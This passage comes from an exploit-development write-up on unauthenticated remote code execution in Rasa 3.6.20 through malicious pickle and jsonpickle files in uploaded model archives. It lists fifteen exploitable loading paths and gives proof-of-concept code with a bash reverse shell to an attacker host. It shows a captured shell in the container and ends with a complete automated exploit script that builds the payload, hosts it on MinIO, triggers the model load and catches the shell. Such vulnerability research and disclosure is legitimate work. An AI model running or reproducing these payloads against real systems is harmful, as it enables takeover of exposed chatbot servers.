42 "training_type": 3,
43 "project_fingerprint": null,
44 "core_target": "select_prediction",
45 "nlu_target": "null",
46 "language": "en",
47 "spaces": null
48 }

```

What can be seen above is a reference to `train_TEDPolicy3` which also appears in the components folder.

```

1 ~$ ls rasa-model/components/
2 domain_provider                train_MemoizationPolicy0
3 finetuning_validator           train_RegexFeaturizer1
4 train_CountVectorsFeaturizer3  train_RulePolicy1
5 train_CountVectorsFeaturizer4  train_TEDPolicy3
6 train_DIETClassifier5          train_UnexpectTEDIntentPolicy2
7 train_LexicalSyntacticFeaturizer2

```

---

Delete all files and folders in `rasa-model/components` except `train_TEDPolicy3/ted_policy.data_example.pkl`. The minimized version of the PoC uses the `metadata.json` from above and just the pickle payload generated earlier. The exploit still works.

```
1 #99991231-133700-3xpl01t.tar.gz is not part of the packed malicious
   model - only metadata.json and components/
2 ~$ find rasa-model/
3 rasa-model/
4 rasa-model/metadata.json
5 rasa-model/components
6 rasa-model/components/train_TEDPolicy3
7 rasa-model/components/train_TEDPolicy3/ted_policy.data_example.pkl
8 rasa-model/99991231-133700-3xpl01t.tar.gz
```

---

## Expedition continued... and let's explore the pickle DIET

So far the best case for an attacker is that an unauthenticated RCE can be achieved. But what works once may work twice. Earlier the function `pickle_load` was used which calls `pickle.load(f)` as can be seen in `rasa/utils/io.py`.

```
95 def pickle_load(filename: Union[Text, Path]) -> Any:
96     """Loads an object from a file.
97
98     Args:
99         filename: the filename to load the object from
100
101     Returns: the loaded object
102     """
103     with open(filename, "rb") as f:
104         return pickle.load(f)
```


Another interesting method defined in `rasa/utils/io.py` is `json_unpickle` which calls `jsonpickle.loads(file_content, keys=encode_non_string_keys)`.

```
178 def json_unpickle(
179     file_name: Union[Text, Path], encode_non_string_keys: bool = False
180 ) -> Any:
181     """Unpickle an object from file using json.
182
183     Args:
184         file_name: the file to load the object from
185         encode_non_string_keys: If set to `True` then jsonpickle will
186             encode non-string
187             dictionary keys instead of coercing them into strings via `
188             repr()`.
189
190     Returns: the object
191     """
192     import jsonpickle.ext.numpy as jsonpickle_numpy
193     import jsonpickle
194
195     jsonpickle_numpy.register_handlers()
196
197     file_content = rasa.shared.utils.io.read_file(file_name)
198     return jsonpickle.loads(file_content, keys=encode_non_string_keys)
```



---

The package `jsonpickle` also states that it is *not secure*.

 Warning

The `jsonpickle` module **is not secure**. Only unpickle data you trust.

It is possible to construct malicious pickle data which will **execute arbitrary code during unpickling**. Never unpickle data that could have come from an untrusted source, or that could have been tampered with.

Consider signing data with an HMAC if you need to ensure that it has not been tampered with.

Safer deserialization approaches, such as reading the raw JSON directly, may be more appropriate if you are processing untrusted data.

Until now, only one code path has been used to deliver the payload and gain code execution. Now is the time to search for more. Functions that are worth searching for are:

- `rasa.utils.io.pickle_load`
- `pickle.load`
- `rasa.utils.io.json_unpickle`
- `jsonpickle.loads`

During my search 15 different code paths could be found which are exploitable.

- `TEDPolicy featurizer.json`
- `TEDPolicy ted_policy.data_example.pkl`
- `TEDPolicy ted_policy.label_data.pkl`
- `TEDPolicy ted_policy.fake_features.pkl`
- `TEDPolicy ted_policy.priority.pkl`
- `TEDPolicy ted_policy.meta.pkl`
- `UnexpectedTEDIntentPolicy unexpected_intent_policy.label_quantiles.pkl`
- `DIETClassifier DIETClassifier.data_example.pkl`
- `DIETClassifier DIETClassifier.label_data.pkl`
- `DIETClassifier DIETClassifier.sparse_feature_sizes.pkl`
- `DIETClassifier DIETClassifier.index_label_id_mapping.json`
- `SklearnIntentClassifier SklearnIntentClassifier_classifier.pkl`
- `SklearnIntentClassifier SklearnIntentClassifier_encoder.pkl`
- `CountVectorsFeaturizer vocabularies.pkl`
- `LexicalSyntacticFeaturizer feature_to_idx_dict.pkl`

---

Another library which was [removed by Rasa](#) but has not been discovered during the exploit development is [joblib](#). Its `load` function relies on `pickle` as well and was used by Rasa. There were two more code paths leading to code execution.

To show the differences in the payload the `DIETClassifier` was chosen.

```
1176 @classmethod
1177 def _load_from_files(
1178     cls, model_path: Path
1179 ) -> Tuple[
1180     Dict[int, Text],
1181     List[EntityTagSpec],
1182     RasaModelData,
1183     Dict[Text, Dict[Text, List[FeatureArray]]],
1184     Dict[Text, Dict[Text, List[int]]],
1185 ]:
1186     file_name = cls.__name__
1187
1188     data_example = io_utils.pickle_load(
1189         model_path / f"{file_name}.data_example.pkl"
1190     )
1191     label_data = io_utils.pickle_load(model_path / f"{file_name}.
1192         label_data.pkl")
1193     label_data = RasaModelData(data=label_data)
1194     sparse_feature_sizes = io_utils.pickle_load(
1195         model_path / f"{file_name}.sparse_feature_sizes.pkl"
1196     )
1197     index_label_id_mapping = io_utils.json_unpickle(
1198         model_path / f"{file_name}.index_label_id_mapping.json"
```

Remove the `ted_policy` payload and create a new folder for `DIETClassifier`.

```
1 ~/rasa-model$ rm -rf components/train_TEDPolicy3/
2 ~/rasa-model$ mkdir components/train_DIETClassifier5
```

---

We are now targeting `.index_label_id_mapping.json` since it is being loaded by `json_unpickle`. To avoid running into an exception, there have to be valid pickle files for `.data_example.pkl`, `.label_data.pkl` and `.sparse_feature_sizes.pkl`.

```
1 ~$ cat poc2.py
2 import pickle
3 import jsonpickle
4
5 payload = f"import os;os.system(\"bash -c 'bash -i >& /dev/tcp
6     /192.168.0.1/1337 0>&1' &\")"
7
8 #pickle payload
9 class EXEC:
10     def __reduce__(self):
11         return exec, (payload,)
12
13 open("rasa-model/components/train_DIETClassifier5/DIETClassifier.
14     data_example.pkl", "wb").write(pickle.dumps({}))
15 open("rasa-model/components/train_DIETClassifier5/DIETClassifier.
16     label_data.pkl", "wb").write(pickle.dumps({}))
17 open("rasa-model/components/train_DIETClassifier5/DIETClassifier.
18     sparse_feature_sizes.pkl", "wb").write(pickle.dumps({}))
19 open("rasa-model/components/train_DIETClassifier5/DIETClassifier.
20     index_label_id_mapping.json", "w").write(jsonpickle.encode(EXEC()))
```

```
1 ~$ python3 poc2.py
2
3 ~$ find rasa-model/
4 rasa-model/
5 rasa-model/metadata.json
6 rasa-model/components
7 rasa-model/components/train_DIETClassifier5
8 rasa-model/components/train_DIETClassifier5/DIETClassifier.label_data.
9     pkl
10 rasa-model/components/train_DIETClassifier5/DIETClassifier.
11     index_label_id_mapping.json
12 rasa-model/components/train_DIETClassifier5/DIETClassifier.
13     data_example.pkl
14 rasa-model/components/train_DIETClassifier5/DIETClassifier.
15     sparse_feature_sizes.pkl
16 rasa-model/99991231-133700-3xpl01t.tar.gz
```

---

Of course the `metadata.json` needs to be adapted. Since `DIETClassifier` is placed in `nlu` instead of `core` the `nlu_target` is used. The class used by `run_DIETClassifier5` must be `rasa.nlu.classifiers.diet_classifier.DIETClassifier`. The `fn` is `process` instead of `predict_action_probabilities`. The config needed two additional items and the model resource name changed to `train_DIETClassifier5`. The block with `select_prediction` is not necessary anymore.

```
1 ~$ cat rasa-model/metadata.json
2 {
3   "domain": {},
4   "trained_at": "2025-01-29T13:38:53.167681",
5   "model_id": "f0e86ec5cf4843a4b95b4e0441c6a6ec",
6   "rasa_open_source_version": "3.6.20",
7   "train_schema": {
8     "nodes": {
9     }
10  },
11  "predict_schema": {
12    "nodes": {
13      "run_DIETClassifier5": {
14        "needs": {},
15        "uses": "rasa.nlu.classifiers.diet_classifier.DIETClassifier",
16        "constructor_name": "load",
17        "fn": "process",
18        "config": {
19          "epochs": 100,
20          "constrain_similarities": true
21        },
22        "eager": true,
23        "is_target": false,
24        "is_input": false,
25        "resource": {
26          "name": "train_DIETClassifier5",
27          "output_fingerprint": "172f1985cb334fc78ed5b01e5925a952"
28        }
29      }
30    }
31  },
32  "training_type": 3,
33  "project_fingerprint": null,
34  "core_target": "null",
35  "nlu_target": "run_DIETClassifier5",
36  "language": "en",
37  "spaces": null
38 }
```

---

Last but not least, verify that the exploit works which it does.

```
1 #ensure minio and rasa are running
2 ~$ python3 upload-exploit.py
3 components/
4 components/train_DIETClassifier5/
5 components/train_DIETClassifier5/DIETClassifier.label_data.pkl
6 components/train_DIETClassifier5/DIETClassifier.index_label_id_mapping
  .json
7 components/train_DIETClassifier5/DIETClassifier.data_example.pkl
8 components/train_DIETClassifier5/DIETClassifier.sparse_feature_sizes.
  pkl
9 metadata.json
10 [+] Trying to bind to :: on port 1337: Done
11 [!] Waiting for connections on :::1337: Got connection from ::ffff
  :192.168.0.3 o[+] rt 36886
12 [*] Switching to interactive mode
13 rasa@da26f81de751: ~rasa@da26f81de751:~$ $ id
14 id
15 uid=1001(rasa) gid=0(root) groups=0(root)
```

Getting all other payloads to work is just a matter of putting in a little bit more effort and checking which files are required so Rasa does not end up in an exception stopping the payload from execution. Furthermore, all the exploitation steps like starting MinIO and Rasa (for local development), creating the payload, uploading it, triggering execution and catching the shell can be automated. The final exploit can be found below.

```
1 ~$ cat requirements.txt
2 minio
3 pwntools
4 jsonpickle
5 argparse
6 requests
7 urllib3
8 uuid
```

```
1 #ensure the requirements are installed
2 ~$ pip install -r requirements.txt
```

```
1 from minio import Minio
2 from pwn import *
3 import jsonpickle
4 import argparse
5 import requests
6 import urllib3
7 import pickle
8 import shutil
9 import uuid
10 import json
11
12 """
13 ### version information
14 developed against version 3.6.20
15 tested against version 3.6.20 and 3.7.0b2
16 https://github.com/RasaHQ/rasa
17
18 ### get rasa -> g3t 50m3 c0ff33
19 $ git clone https://github.com/RasaHQ/rasa.git; cd rasa
20
21 ### checkout the desired version
22 $ git checkout tags/3.6.20
23
24 ### build docker -> g3t 50m3 c0ff33
25 $ make build-docker
26
27 ### create a volume
28 $ docker volume create rasa_app
29
30 ### initialize rasa -> model is created
31 $ docker run --name rasa --rm -it -v rasa_app:/app -p 5005:5005/tcp
    rasa:localdev init --no-prompt
32
33 ### check that the api is working
34 $ docker run --name rasa --rm -it -v rasa_app:/app -p 5005:5005/tcp
    rasa:localdev run --enable-api
35 $ curl -s 127.1:5005/webhooks/rest/webhook -d '{"sender": "1337", "
    message": "hello"}'
36 [{"recipient_id":"1337","text":"Hey! How are you?"]}
37
38 ### stop the api server
39 $ docker stop rasa
40
41 ### run the exploit
42 $ python3 exploit.py -mh 192.168.0.3 -lh 192.168.0.1
43 [*] starting rasa api server
44 [+] Starting local process '/usr/bin/docker': pid 125277
45 [*] rasa api server started
46 [*] starting minio
47 [*] minio credentials (web): minioadmin:9
```

```

    baea8181ee646e2a80cde508737cfe4
48 [+] Starting local process '/usr/bin/docker': pid 125496
49 [*] minio started
50 [*] creating bucket
51 [*] creating payload
52 [*] packing model
53 components/
54 components/3xpl01t/
55 components/3xpl01t/featurizer.json
56 metadata.json
57 [*] uploading model to minio
58 [*] cleaning up local exploit files
59 [*] listening for shell on 1337
60 [+] Trying to bind to :: on port 1337: Done
61 [+] Waiting for connections on :::1337: Got connection from ::ffff
    :192.168.0.2 on port 57062
62 [*] triggering exploit
63 [*] reverse connection established
64 [*] stopping minio
65 [+] Starting local process '/usr/bin/docker': pid 125693
66 [*] starting interactive shell
67 [*] Switching to interactive mode
68 bash: cannot set terminal process group (1): Inappropriate ioctl for
    device
69 bash: no job control in this shell
70 rasa@654ffb364adb:~$ $ id
71 id
72 uid=1001(rasa) gid=0(root) groups=0(root)
73
74 ### rasa is still running -> since the model led to exceptions the old
    model is still used
75 ### depends on the used payload whether the old model is still in use
76 $ curl -s 127.1:5005/webhooks/rest/webhook -d '{"sender": "1337", "
    message": "hello"}'
77 [{"recipient_id":"1337","text":"Hey! How are you?"]}
78
79 ### delete the existing models to speed up rasa load time
80 $ docker exec -it -u 0 rasa bash
81 # rm models/*
82 """"
83
84 parser = argparse.ArgumentParser(description="get a reverse shell on
    rasa in case the api is enabled and not protected", formatter_class
    =argparse.RawTextHelpFormatter)
85 parser.add_argument("-t", "--target", default="http://localhost:5005",
    help="the target to be attacked; runs dockerzied rasa by default
    -> build the container manually")
86 parser.add_argument("-lh", "--lhost", required=True, help="listening
    host for the reverse shell")
87 parser.add_argument("-lp", "--lport", type=int, default=1337, help="
    listening port for the reverse shell; default is 1337")

```

```

88 parser.add_argument("-mh", "--minio-host", required=True, help="the
    host minio is running on; must be reachable by the exploit host as
    well as the target")
89 parser.add_argument("-map", "--minio-api-port", default="9000", help="
    the port the minio api is running on; default is 9000")
90 parser.add_argument("-mwp", "--minio-web-port", default="9001", help="
    the port the minio web is running on; default is 9001; may be used
    for debugging")
91 parser.add_argument("-p", "--payload", type=int, default=0, help="""
    the payload to be used
92 0 -> TEDPolicy featurizer.json
93 1 -> TEDPolicy ted_policy.data_example.pkl
94 2 -> TEDPolicy ted_policy.label_data.pkl
95 3 -> TEDPolicy ted_policy.fake_features.pkl
96 4 -> TEDPolicy ted_policy.priority.pkl
97 5 -> TEDPolicy ted_policy.meta.pkl
98 6 -> UnexpectedIntentPolicy unexpected_intent_policy.label_quantiles.
   .pkl
99 7 -> DIETClassifier DIETClassifier.data_example.pkl
100 8 -> DIETClassifier DIETClassifier.label_data.pkl
101 9 -> DIETClassifier DIETClassifier.sparse_feature_sizes.pkl
102 10 -> DIETClassifier DIETClassifier.index_label_id_mapping.json
103 11 -> SklearnIntentClassifier SklearnIntentClassifier_classifier.pkl
104 12 -> SklearnIntentClassifier SklearnIntentClassifier_encoder.pkl
105 13 -> CountVectorsFeaturizer vocabularies.pkl
106 14 -> LexicalSyntacticFeaturizer feature_to_idx_dict.pkl
107 """)
108 parser.add_argument("-nc", "--no-cleanup", action="store_true", help="
    indicate that the created files must not be deleted")
109 args = parser.parse_args()
110
111 minioapi = f"http://{args.minio_host}:{args.minio_api_port}"
112 minioapiserver = f"{args.minio_host}:{args.minio_api_port}"
113 minioaccesskey = "minioadmin" #username
114 miniosecretkey = uuid.uuid4().hex #password
115 model = "99991231-133700-3xpl01t.tar.gz" #rasa takes the most recent
    model
116 bucket = "3xpl01t"
117 miniomodelpath = f"/{bucket}/{model}"
118
119 #jsonpickle needs the import
120 payload = f"import os;os.system(\"bash -c 'bash -i >& /dev/tcp/{args.
    lhost}/{args.lport} 0>&1' &\")"
121
122 containernamerasa = b"rasa"
123 containernameminio = b"minio"
124
125 #pickle payload
126 class EXEC:
127     def __reduce__(self):
128         #return os.system, (payload,)

```



```

129     return exec, (payload,)
130
131 #try the pickle / jsonpickle payload locally
132 #pickle.loads(pickle.dumps(EXEC())); pause()
133 #jsonpickle.decode(jsonpickle.encode(EXEC())); pause()
134
135 #model metadata.json
136 if 0 <= args.payload and args.payload <= 5:
137     modelpolicy = "rasa.core.policies.unexpected_intent_policy.TEDPolicy
138
139 elif 6 <= args.payload and args.payload <= 6:
140     modelpolicy = "rasa.core.policies.unexpected_intent_policy.
141     UnexpectTEDIntentPolicy"
142 elif 7 <= args.payload and args.payload <= 10:
143     modelpolicy = "rasa.nlu.classifiers.diet_classifier.DIETClassifier"
144 elif 11 <= args.payload and args.payload <= 12:
145     modelpolicy = "rasa.nlu.classifiers.sklearn_intent_classifier.
146     SklearnIntentClassifier"
147 elif 13 <= args.payload and args.payload <= 13:
148     modelpolicy = "rasa.nlu.featurizers.sparse_featurizer.
149     count_vectors_featurizer.CountVectorsFeaturizer"
150 elif 14 <= args.payload and args.payload <= 14:
151     modelpolicy = "rasa.nlu.featurizers.sparse_featurizer.
152     lexical_syntactic_featurizer.LexicalSyntacticFeaturizer"
153
154 modelresource = "3xpl01t"
155 modelexploit_core = f"""
156     "run_3xpl01t": {{
157         "needs": {{}},
158         "uses": "{modelpolicy}",
159         "constructor_name": "load",
160         "fn": "predict_action_probabilities",
161         "config": {{}},
162         "eager": true,
163         "is_target": false,
164         "is_input": false,
165         "resource": {{
166             "name": "{modelresource}",
167             "output_fingerprint": "7a3c0a1ffb23452f90641a6ff110a365"
168         }}
169     }},
170     "select_prediction": {{
171         "needs": {{
172             "policy1337": "run_3xpl01t"
173         }},
174         "uses": "rasa.core.policies.ensemble.
175         DefaultPolicyPredictionEnsemble",
176         "constructor_name": "load",
177         "fn": null,
178         "config": {{}},
179         "eager": true,

```

```

174         "is_target": false,
175         "is_input": false,
176         "resource": null
177     }}
178 """
179
180 modelexploit_nlu = f"""
181     "run_3xpl01t": {{
182         "needs": {{}},
183         "uses": "{modelpolicy}",
184         "constructor_name": "load",
185         "fn": "process",
186         "config": {{
187             "epochs": 100,
188             "constrain_similarities": true
189         }},
190         "eager": true,
191         "is_target": false,
192         "is_input": false,
193         "resource": {{
194             "name": "{modelresource}",
195             "output_fingerprint": "8fcb6c7d3e984aacae2b1e2f53314fc2"
196         }}
197     }}
198 """
199
200 if 0 <= args.payload and args.payload <= 5:
201     modelexploit = modelexploit_core
202     modelcoretarget = "\"select_prediction\""
203     modelnlutarget = "null"
204     _metadata_filename = "ted_policy"
205 elif 6 <= args.payload and args.payload <= 6:
206     modelexploit = modelexploit_core
207     modelcoretarget = "\"select_prediction\""
208     modelnlutarget = "null"
209     _metadata_filename = "unexpected_intent_policy"
210 elif 7 <= args.payload and args.payload <= 10:
211     modelexploit = modelexploit_nlu
212     modelcoretarget = "null"
213     modelnlutarget = "\"run_3xpl01t\""
214     _metadata_filename = "DIETClassifier"
215 elif 11 <= args.payload and args.payload <= 12:
216     modelexploit = modelexploit_nlu
217     modelcoretarget = "null"
218     modelnlutarget = "\"run_3xpl01t\""
219     _metadata_filename = "SklearnIntentClassifier"
220 elif 13 <= args.payload and args.payload <= 14:
221     modelexploit = modelexploit_nlu
222     modelcoretarget = "null"
223     modelnlutarget = "\"run_3xpl01t\""
224

```

```

225 metadata = f"""
226 {{
227     "domain": {{}},
228     "trained_at": "2024-12-31T13:37:00",
229     "model_id": "e48e13207341b6bffb7fb1622282247b",
230     "rasa_open_source_version": "3.6.20",
231     "train_schema": {{
232         "nodes": {{}}
233     }},
234     "predict_schema": {{
235         "nodes": {{
236             {modelexploit}
237         }}
238     }},
239     "training_type": 3,
240     "project_fingerprint": null,
241     "core_target": {modelcoretarget},
242     "nlu_target": {modelnlutarget},
243     "language": "en",
244     "spaces": null
245 }}
246 """
247
248 if __name__ == "__main__":
249     payloadselected = 0 <= args.payload and args.payload <= 14
250     if payloadselected:
251         if "localhost" in args.target:
252             log.info("starting rasa api server")
253             rasaapiserver = process(["docker", "run", "--name",
254                                     containernamerasa, "--rm", "-v", "rasa_app:/app", "-p", "
255                                     5005:5005/tcp", "rasa:localdev", "run", "--enable-api"])#,
256                                     "--auth-token", "secret"]) #exploit does not work when the
257                                     api is protected unless sensitive information is leaked (
258                                     token, ...)
259             rasaapiserver.readuntil(b"Rasa server is up and running.")
260             log.info("rasa api server started")
261             #rasaapiserver.interactive()
262
263             targetstatus = requests.get(f"{args.target}/status")
264             if "NotAuthenticated" in targetstatus.text:
265                 log.warn("server is not exploitable since the api is protected")
266             else:
267                 log.info("starting minio")
268                 log.info(f"minio credentials (web): {minioaccesskey}:{
269                             miniosecretkey}")
270             minio = process(["docker", "run", "--name", containernameminio,
271                             "--rm", "-p", f"{args.minio_api_port}:9000/tcp", "-p", f"{
272                             args.minio_web_port}:9001/tcp", "-e", f"MINIO_ROOT_USER={
273                             minioaccesskey}", "-e", f"MINIO_ROOT_PASSWORD={miniosecretkey
274                             }", "quay.io/minio/minio", "server", "/data", "--console-
275                             address", ":9001"]) #, "-v", "./data:/data"

```

```

265     while True:
266         try:
267             miniohealth1 = requests.get(f"{minioapi}/minio/health/live")
268             if miniohealth1.status_code == 200:
269                 break
270         except:
271             pass
272     log.info("minio started")
273     #minio.interactive()
274
275     log.info("creating bucket")
276     minioclient = Minio(minioapiserver, minioaccesskey,
277                        miniosecretkey, secure=False, http_client=urllib3.PoolManager
278                        (retries=urllib3.Retry(total=1337, backoff_factor=0.1,
279                        respect_retry_after_header=False, status_forcelist=[503]))) #
280     # minio takes some time to get the service available and sends
281     # retry header with 60 seconds -> http_client was changed to
282     # avoid the long retry wait time
283     #minioclient.trace_on(sys.stderr)
284     minioclient.make_bucket(bucket)
285
286     policy = {
287         "Version": "2012-10-17",
288         "Statement": [
289             {
290                 "Effect": "Allow",
291                 "Principal": {"AWS": "*"},
292                 "Action": [
293                     "s3:GetObject"
294                 ],
295                 "Resource": [
296                     f"arn:aws:s3:::{bucket}/{model}"
297                 ]
298             }
299         ]
300     }
301
302     minioclient.set_bucket_policy(bucket, json.dumps(policy))
303
304     log.info("creating payload")
305     modelpath = f"components/{modelresource}"
306
307     #folder structure
308     os.makedirs(f"{modelpath}", exist_ok=True)
309
310     #payload
311     #rasa.utils.io.pickle_load -> pickle.load -> pickle.dumps(EXEC()
312     #)
313     #rasa.utils.io.json_unpickle -> jsonpickle.loads -> jsonpickle.
314     #encode(EXEC())
315     #rasa.shared.utils.io.read_json_file -> json.loads -> not

```

---

```

        exploitable with default decoder (JSONDecoder)
308     #compare to train_TEDPolicy3 and train_DIETClassifier5
309     #ted_policy.tf_model.data-000000-of-000001
310     #ted_policy.tf_model.index
311     if args.payload == 0:
312         open(f"{modelpath}/featurizer.json", "w").write(jsonpickle.
            encode(EXEC()))
313     elif args.payload == 1:
314         open(f"{modelpath}/{_metadata_filename}.data_example.pkl", "wb
            ").write(pickle.dumps(EXEC()))
315     elif args.payload == 2:
316         open(f"{modelpath}/{_metadata_filename}.data_example.pkl", "wb
            ").write(pickle.dumps({}))
317         open(f"{modelpath}/{_metadata_filename}.label_data.pkl", "wb")
            .write(pickle.dumps(EXEC()))
318     elif args.payload == 3:
319         open(f"{modelpath}/{_metadata_filename}.data_example.pkl", "wb
            ").write(pickle.dumps({}))
320         open(f"{modelpath}/{_metadata_filename}.label_data.pkl", "wb")
            .write(pickle.dumps({}))
321         open(f"{modelpath}/{_metadata_filename}.fake_features.pkl", "
            wb").write(pickle.dumps(EXEC()))
322     elif args.payload == 4:
323         open(f"{modelpath}/{_metadata_filename}.data_example.pkl", "wb
            ").write(pickle.dumps({}))
324         open(f"{modelpath}/{_metadata_filename}.label_data.pkl", "wb")
            .write(pickle.dumps({}))
325         open(f"{modelpath}/{_metadata_filename}.fake_features.pkl", "
            wb").write(pickle.dumps({}))
326         open(f"{modelpath}/{_metadata_filename}.priority.pkl", "w").
            write(jsonpickle.encode(EXEC()))
327     elif args.payload == 5:
328         open(f"{modelpath}/{_metadata_filename}.data_example.pkl", "wb
            ").write(pickle.dumps({}))
329         open(f"{modelpath}/{_metadata_filename}.label_data.pkl", "wb")
            .write(pickle.dumps({}))
330         open(f"{modelpath}/{_metadata_filename}.fake_features.pkl", "
            wb").write(pickle.dumps({}))
331         open(f"{modelpath}/{_metadata_filename}.priority.pkl", "w").
            write(jsonpickle.encode({}))
332         open(f"{modelpath}/{_metadata_filename}.entity_tag_specs.json"
            , "w").write("{}")
333         open(f"{modelpath}/{_metadata_filename}.meta.pkl", "wb").write
            (pickle.dumps(EXEC()))
334     elif args.payload == 6:
335         open(f"{modelpath}/{_metadata_filename}.data_example.pkl", "wb
            ").write(pickle.dumps({}))
336         open(f"{modelpath}/{_metadata_filename}.label_data.pkl", "wb")
            .write(pickle.dumps({}))
337         open(f"{modelpath}/{_metadata_filename}.fake_features.pkl", "
            wb").write(pickle.dumps({}))

```

---

```

338     open(f"{modelpath}/{_metadata_filename}.priority.pkl", "w").
        write(jsonpickle.encode({}))
339     open(f"{modelpath}/{_metadata_filename}.entity_tag_specs.json"
        , "w").write("{}")
340     open(f"{modelpath}/{_metadata_filename}.meta.pkl", "wb").write
        (pickle.dumps({}))
341     open(f"{modelpath}/{_metadata_filename}.label_quantiles.pkl",
        "wb").write(pickle.dumps(EXEC()))
342     elif args.payload == 7:
343         open(f"{modelpath}/{_metadata_filename}.data_example.pkl", "wb
        ").write(pickle.dumps(EXEC()))
344     elif args.payload == 8:
345         open(f"{modelpath}/{_metadata_filename}.data_example.pkl", "wb
        ").write(pickle.dumps({}))
346         open(f"{modelpath}/{_metadata_filename}.label_data.pkl", "wb")
        .write(pickle.dumps(EXEC()))
347     elif args.payload == 9:
348         open(f"{modelpath}/{_metadata_filename}.data_example.pkl", "wb
        ").write(pickle.dumps({}))
349         open(f"{modelpath}/{_metadata_filename}.label_data.pkl", "wb")
        .write(pickle.dumps({}))
350         open(f"{modelpath}/{_metadata_filename}.sparse_feature_sizes.
        pkl", "wb").write(pickle.dumps(EXEC()))
351     elif args.payload == 10:
352         open(f"{modelpath}/{_metadata_filename}.data_example.pkl", "wb
        ").write(pickle.dumps({}))
353         open(f"{modelpath}/{_metadata_filename}.label_data.pkl", "wb")
        .write(pickle.dumps({}))
354         open(f"{modelpath}/{_metadata_filename}.sparse_feature_sizes.
        pkl", "wb").write(pickle.dumps({}))
355         open(f"{modelpath}/{_metadata_filename}.index_label_id_mapping
        .json", "w").write(jsonpickle.encode(EXEC()))
356     elif args.payload == 11:
357         open(f"{modelpath}/{_metadata_filename}_classifier.pkl", "w").
        write(jsonpickle.encode(EXEC()))
358     elif args.payload == 12:
359         open(f"{modelpath}/{_metadata_filename}_classifier.pkl", "w").
        write(jsonpickle.encode({}))
360         open(f"{modelpath}/{_metadata_filename}_encoder.pkl", "w").
        write(jsonpickle.encode(EXEC()))
361     elif args.payload == 13:
362         open(f"{modelpath}/vocabularies.pkl", "w").write(jsonpickle.
        encode(EXEC()))
363     elif args.payload == 14:
364         open(f"{modelpath}/feature_to_idx_dict.pkl", "w").write(
        jsonpickle.encode(EXEC()))
365
366     #metadata.json
367     open(f"metadata.json", "w").write(metadata)
368
369     log.info("packing model")

```

```
370     os.system(f"tar -czvf {model} components/ metadata.json")
371
372     log.info("uploading model to minio")
373     minioclient.fput_object(bucket, model, model) #bucket_name,
        object_name, file_path
374
375     if not args.no_cleanup:
376         log.info("cleaning up local exploit files")
377         shutil.rmtree("components/")
378         os.remove("metadata.json")
379         os.remove(model)
380
381     log.info(f"listening for shell on {args.lport}")
382     l = listen(args.lport)
383
384     log.info("triggering exploit")
385     requests.put(f"{args.target}/model", json={"model_server": {"url": f"{minioapi}{miniomodelpath}"}, "remote_storage": "aws"})
386
387     l.wait_for_connection()
388     log.info("reverse connection established")
389
390     log.info("stopping minio")
391     p = process(["docker", "stop", containernameminio])
392     p.readuntil(containernameminio)
393
394     log.info("starting interactive shell")
395     l.interactive()
396
397     if "localhost" in args.target:
398         log.info("stopping rasa")
399         p = process(["docker", "stop", containernamerasa])
400         p.readuntil(containernamerasa)
401
402     else:
403         log.warn("no valid payload selected")
```